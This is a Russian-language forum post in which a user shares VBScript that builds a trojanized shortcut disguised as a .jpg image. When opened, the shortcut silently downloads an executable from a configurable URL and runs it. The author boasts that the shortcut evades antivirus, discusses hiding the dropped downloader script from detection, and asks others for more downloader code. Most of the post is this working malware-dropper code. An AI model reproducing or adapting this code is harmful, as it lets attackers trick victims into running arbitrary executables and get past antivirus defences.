GROB_T
Сообщений: 349
Оценки: 0
Присоединился: 2007-01-05 02:54:27.330000
|
Сделал прогу, создающую ярлык, который скачает файл с указанного адреса, причем абсолютно незаметно, а потом запустит его, прога написана на vbs, вот код:
a="http://"'Адрес
Set WshShell=CreateObject("WScript.Shell")
Set WshShortcut=WshShell.CreateShortcut("C:\DownLoader.jpg.lnk")'Путь к ярлыку
WshShortcut.Arguments="/c echo Set o=CreateObject(""MSXML2.XMLHTTP""):o.Open""GET"","""&a&""",0:o.Send:Set a=CreateObject(""ADODB.Stream""):a.Mode=3:a.Type=1:a.Open:a.Write o.responseBody:a.SaveToFile""p.exe"",2 >a.vbs&&start /wait a.vbs&&start p.exe"
WshShortcut.Description="DownLoader"'Описание ярлыка
WshShortcut.IconLocation="shimgvw.dll, 3"'Иконка
WshShortcut.TargetPath="%comspec%"
WshShortcut.WindowStyle=0
WshShortcut.WorkingDirectory="%Temp%"'Рабочая директория
MsgBox "Протрояненный ярлык был успешно создан в: "&WshShortcut.FullName
WshShortcut.Save
Максимальная длина адреса - 37 символов
Сам ярлык не палится антивирями, но он после запуска создает файл a.vbs, который определяется как downloader, можно конечно попробовать скрыть этот файл от антивирей, но на скрытие уйдет как минимум 25 байт, что уменбшит длинну адреса до 12 символов, что конечно же очень плохо, но я все таки попробую как-то устранить это, если кто-нить знает какой нибудь downloader на vbs, js, то напишите на мыло <a href="mailto:grob_t@mail.ru">grob_t@mail.ru</a> или в асю 444452117.
|
Сделал программу LNK-DownLoadeR - 
